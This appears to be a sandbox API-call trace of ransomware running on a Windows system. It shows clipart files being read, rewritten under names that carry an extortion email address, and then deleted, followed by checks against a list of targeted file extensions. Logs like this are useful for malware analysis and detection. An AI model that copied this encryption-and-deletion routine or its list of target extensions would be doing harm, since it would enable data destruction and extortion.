	[0179.979] lstrlenW (lpString="J0107730.WMF") returned 12
	[0179.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.980] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3060) returned 1
	[0179.980] CloseHandle (hObject=0x558) returned 1
	[0179.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220
	[0179.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.981] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.981] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.982] GetLastError () returned 0x0
	[0179.982] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xbf4, lpOverlapped=0x0) returned 1
	[0179.986] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xc00, lpOverlapped=0x0) returned 1
	[0179.988] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.988] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.988] SetEndOfFile (hFile=0x36c) returned 1
	[0179.988] CloseHandle (hObject=0x36c) returned 1
	[0179.989] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.989] SetEndOfFile (hFile=0x558) returned 1
	[0179.991] CloseHandle (hObject=0x558) returned 1
	[0179.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 1
	[0179.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.993] lstrlenW (lpString=".doc") returned 4
	[0179.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.993] lstrlenW (lpString=".docx") returned 5
	[0179.993] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0179.993] lstrlenW (lpString=".pdf") returned 4
	[0179.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.993] lstrlenW (lpString=".xls") returned 4
	[0179.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.993] lstrlenW (lpString=".xlsx") returned 5
	[0179.994] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0179.994] lstrlenW (lpString=".ppt") returned 4
	[0179.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.994] lstrlenW (lpString=".zip") returned 4
	[0179.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.994] lstrlenW (lpString=".rar") returned 4
	[0179.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString=".bz2") returned 4
	[0179.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString=".7z") returned 3
	[0179.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.994] lstrlenW (lpString=".dbf") returned 4
	[0179.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.994] lstrlenW (lpString=".1cd") returned 4
	[0179.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.994] lstrlenW (lpString=".jpg") returned 4
	[0179.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.994] lstrlenW (lpString=".doc") returned 4
	[0179.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString=".docx") returned 5
	[0179.994] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0179.994] lstrlenW (lpString=".pdf") returned 4
	[0179.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.994] lstrlenW (lpString=".xls") returned 4
	[0179.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.995] lstrlenW (lpString=".xlsx") returned 5
	[0179.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0179.995] lstrlenW (lpString=".ppt") returned 4
	[0179.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.995] lstrlenW (lpString=".zip") returned 4
	[0179.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.995] lstrlenW (lpString=".rar") returned 4
	[0179.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString=".bz2") returned 4
	[0179.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString=".7z") returned 3
	[0179.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.995] lstrlenW (lpString=".dbf") returned 4
	[0179.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.995] lstrlenW (lpString=".1cd") returned 4
	[0179.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68
	[0179.995] lstrlenW (lpString=".jpg") returned 4
	[0179.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.995] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0179.995] lstrlenW (lpString="J0107734.WMF") returned 12
	[0179.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.997] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3140) returned 1
	[0179.997] CloseHandle (hObject=0x558) returned 1
	[0179.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 0x220
	[0179.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.998] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.998] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0179.999] GetLastError () returned 0x0
	[0179.999] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xc44, lpOverlapped=0x0) returned 1
	[0180.037] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xc50, lpOverlapped=0x0) returned 1
	[0180.038] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.038] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.038] SetEndOfFile (hFile=0x36c) returned 1
	[0180.038] CloseHandle (hObject=0x36c) returned 1
	[0180.038] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.039] SetEndOfFile (hFile=0x558) returned 1
	[0180.043] CloseHandle (hObject=0x558) returned 1
	[0180.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf")) returned 1
	[0180.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.050] lstrlenW (lpString=".doc") returned 4
	[0180.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.050] lstrlenW (lpString=".docx") returned 5
	[0180.050] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.050] lstrlenW (lpString=".pdf") returned 4
	[0180.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.050] lstrlenW (lpString=".xls") returned 4
	[0180.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.050] lstrlenW (lpString=".xlsx") returned 5
	[0180.050] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.050] lstrlenW (lpString=".ppt") returned 4
	[0180.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.050] lstrlenW (lpString=".zip") returned 4
	[0180.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.050] lstrlenW (lpString=".rar") returned 4
	[0180.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString=".bz2") returned 4
	[0180.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString=".7z") returned 3
	[0180.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.051] lstrlenW (lpString=".dbf") returned 4
	[0180.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.051] lstrlenW (lpString=".1cd") returned 4
	[0180.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.051] lstrlenW (lpString=".jpg") returned 4
	[0180.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.051] lstrlenW (lpString=".doc") returned 4
	[0180.051] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString=".docx") returned 5
	[0180.051] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0180.051] lstrlenW (lpString=".pdf") returned 4
	[0180.051] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.051] lstrlenW (lpString=".xls") returned 4
	[0180.051] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.051] lstrlenW (lpString=".xlsx") returned 5
	[0180.051] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0180.052] lstrlenW (lpString=".ppt") returned 4
	[0180.052] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.052] lstrlenW (lpString=".zip") returned 4
	[0180.052] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.052] lstrlenW (lpString=".rar") returned 4
	[0180.052] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString=".bz2") returned 4
	[0180.052] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString=".7z") returned 3
	[0180.052] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.052] lstrlenW (lpString=".dbf") returned 4
	[0180.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.052] lstrlenW (lpString=".1cd") returned 4
	[0180.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF") returned 68
	[0180.052] lstrlenW (lpString=".jpg") returned 4
	[0180.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.052] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0180.052] lstrlenW (lpString="J0107742.WMF") returned 12
	[0180.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.054] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=3644) returned 1
	[0180.054] CloseHandle (hObject=0x558) returned 1
	[0180.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 0x220
	[0180.054] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0180.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0180.055] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.055] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0180.056] GetLastError () returned 0x0
	[0180.056] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0xe3c, lpOverlapped=0x0) returned 1
	[0180.104] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xe40, lpOverlapped=0x0) returned 1
	[0180.105] ReadFile (in: hFile=0x558, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.105] WriteFile (in: hFile=0x36c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.106] SetEndOfFile (hFile=0x36c) returned 1
	[0180.106] CloseHandle (hObject=0x36c) returned 1
	[0180.106] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.106] SetEndOfFile (hFile=0x558) returned 1
	[0180.109] CloseHandle (hObject=0x558) returned 1
	[0180.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0180.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107742.wmf")) returned 1
	[0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.111] lstrlenW (lpString=".doc") returned 4
	[0180.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.111] lstrlenW (lpString=".docx") returned 5
	[0180.111] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.111] lstrlenW (lpString=".pdf") returned 4
	[0180.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.111] lstrlenW (lpString=".xls") returned 4
	[0180.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.111] lstrlenW (lpString=".xlsx") returned 5
	[0180.111] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.111] lstrlenW (lpString=".ppt") returned 4
	[0180.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.111] lstrlenW (lpString=".zip") returned 4
	[0180.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.111] lstrlenW (lpString=".rar") returned 4
	[0180.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.111] lstrlenW (lpString=".bz2") returned 4
	[0180.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.111] lstrlenW (lpString=".7z") returned 3
	[0180.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.112] lstrlenW (lpString=".dbf") returned 4
	[0180.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.112] lstrlenW (lpString=".1cd") returned 4
	[0180.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.112] lstrlenW (lpString=".jpg") returned 4
	[0180.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.112] lstrlenW (lpString=".doc") returned 4
	[0180.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.112] lstrlenW (lpString=".docx") returned 5
	[0180.112] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.112] lstrlenW (lpString=".pdf") returned 4
	[0180.112] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.112] lstrlenW (lpString=".xls") returned 4
	[0180.112] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.112] lstrlenW (lpString=".xlsx") returned 5
	[0180.112] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0180.112] lstrlenW (lpString=".ppt") returned 4
	[0180.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.113] lstrlenW (lpString=".zip") returned 4
	[0180.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.113] lstrlenW (lpString=".rar") returned 4
	[0180.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.113] lstrlenW (lpString=".bz2") returned 4
	[0180.113] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.113] lstrlenW (lpString=".7z") returned 3
	[0180.113] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.113] lstrlenW (lpString=".dbf") returned 4
	[0180.113] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.113] lstrlenW (lpString=".1cd") returned 4
	[0180.113] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107742.WMF") returned 68
	[0180.113] lstrlenW (lpString=".jpg") returned 4
	[0180.113] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
